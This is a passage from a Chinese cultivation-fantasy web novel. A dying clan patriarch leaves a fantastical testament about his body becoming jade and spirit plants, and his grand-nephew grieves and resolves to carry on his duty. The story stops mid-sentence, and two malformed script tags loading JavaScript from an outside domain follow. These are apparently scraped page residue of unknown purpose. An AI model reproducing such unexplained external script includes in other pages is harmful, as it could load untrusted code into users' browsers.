“是…侄孙记住了…必定谨遵叔祖教诲!”
古月青书重重磕头,额头抵在冰冷的玉砖上,泪水无声滑落。
交代完所有后事,古月长空仿佛耗尽了最后的心力,缓缓闭上了眼睛,声音低不可闻:
“去吧…莫要…辜负…”
古月青书知道这是最后诀别,再次重重叩首三次,这才心如刀绞的缓缓起身,一步三回头的向密室门口退去。
当他即将走出门口,厚重的密室石门开始缓缓关闭时,里面传来了古月长空最后一段话语,那声音飘渺而平静,仿佛不再是交代,而是在吟诵某种古老的遗训,声音回荡在寂静的走廊里。
“吾殁三载,肝木化碧玉,可琢为长生符,悬于宗祠梁上,庇佑门人,四肢躯干皆作灵植根系,当埋入沃土,使与地脉相连,逢春则发琼枝,十载可成林。”
“肝胆化为青碧玉液,盛以陶瓮,倾于江河湖泊之畔,令吾随潮汐巡游八荒,润泽万物,发肤齿目结成木精、灵珀,散入市井坊间,或入丹炉,或铸法器、或作稚童佩饰。”
“古月氏弟子长空…绝笔。”
门外,古月青书再也支撑不住,扑通一声跪倒在地,对着彻底关闭的石门,以最庄重的古礼叩拜,声音沙哑却无比坚定的回应:
“谨遵老祖法旨!”
“青书…不敢忘!”
密室内外,彻底隔绝。
一门之隔,已是生死两途。
他伏在地上,肩膀剧烈地颤抖着,泪水无声的浸湿了冰冷的玉砖。
这不是软弱,而是对一位为家族燃尽最后的守护者最深的哀恸与最高的敬意。
许久,古月青书才缓缓抬起头。
他的脸上泪痕未干,但眼神已然不同。
悲痛被深深埋入眼底,取而代之的是一种前所未有的坚毅与沉重。
他站起身,仔细地整理好略显凌乱的衣袍,每一个动作都缓慢而用力,仿佛在进行某种郑重的仪式。
他将那枚灰色的储物袋紧紧收藏好,感受着其沉甸甸的分量,那不仅仅是资源,更是期望与责任。
最后,他深深的看了一眼再无动静的密室石门,仿佛要将这一幕永远刻印在灵魂深处。
然后,他毅然转身,步伐稳定的向外走去。
当他再次穿过层层禁制,走出庭院时,他的脸上已经恢复了
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">